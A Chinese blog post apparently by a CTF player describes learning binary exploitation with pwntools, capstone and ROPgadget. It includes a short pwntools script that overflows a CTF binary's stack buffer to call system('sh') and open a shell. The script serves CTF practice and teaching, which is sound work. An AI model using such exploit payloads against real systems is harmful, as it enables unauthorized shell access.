pwn学习经历

2个月没更新了blog,在0CTF2016上被虐得一塌糊涂,闭关修炼pwn,终于在429ctf上有了零突破,这是第一次在比赛中做出pwn。这标志着一个新的开始,加油!!!  

对于一个reverser来说,学习pwn并不是很难,因为对汇编知识和系统架构已经有了一定的理解和掌握。一直未入门的原因是由于shellcode的构造太麻烦,练习不方便。和队友esrever10交流后,他介绍了几个很好用的工具(pwntools,capstone,ROPgadget等),这些工具给我带来很大的便利,可以愉快的练习了^_^。

pwntools顾名思义就是pwn方面的工具集,我最喜欢的是asmdisasm,借助于capstone的多平台反汇编能力,可以轻松地对汇编进行转换:

1
2
3
4
5
6
7
$ asm "mov eax, ebx; push eax; pop ebx;"
89d8505b

$ disasm 89d8505b
0: 89 d8 mov eax, ebx
2: 50 push eax
3: 5b pop ebx

而且可以指定特定平台,这样想要什么功能的 opcode 还不是信手拈来。而在构造exploit代码,pwntools提供的框架也十分的方便快捷。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
from pwn import *

# context.log_level='debug'

elf = ELF('pwn1')
pr = process('./pwn1')
# pr = remote('120.27.144.177', 8000)

addr_system = elf.symbols['system']
addr_sh = next(elf.search('sh\0'))

payload = 'A' * 140 + p32(addr_system) + p32(0xdeadbeaf) + p32(addr_sh)
pr.recvuntil('input your name:')
pr.sendline(payload)
pr.recvuntil(':')
pr.sendline('1')
pr.interactive()

远程和本地切换,只需要一个语句的改变;接收信息和发送信息十分方便;获得shell后可以进行手工交互(interactive),这个设计太棒了。

开始学习复习各种原理和练习,栈溢出攻击很容易理解,但实践操作起来有些困难(ASLR,nx等),之后看了蒸米的《一步一步学ROP》系列,按照里面的讲解,自己再做一遍,对ROP有了一定理解。现在如果能发现程序的漏洞,也能写出exp来了。

练习平台

入门资料

pwn writeup列表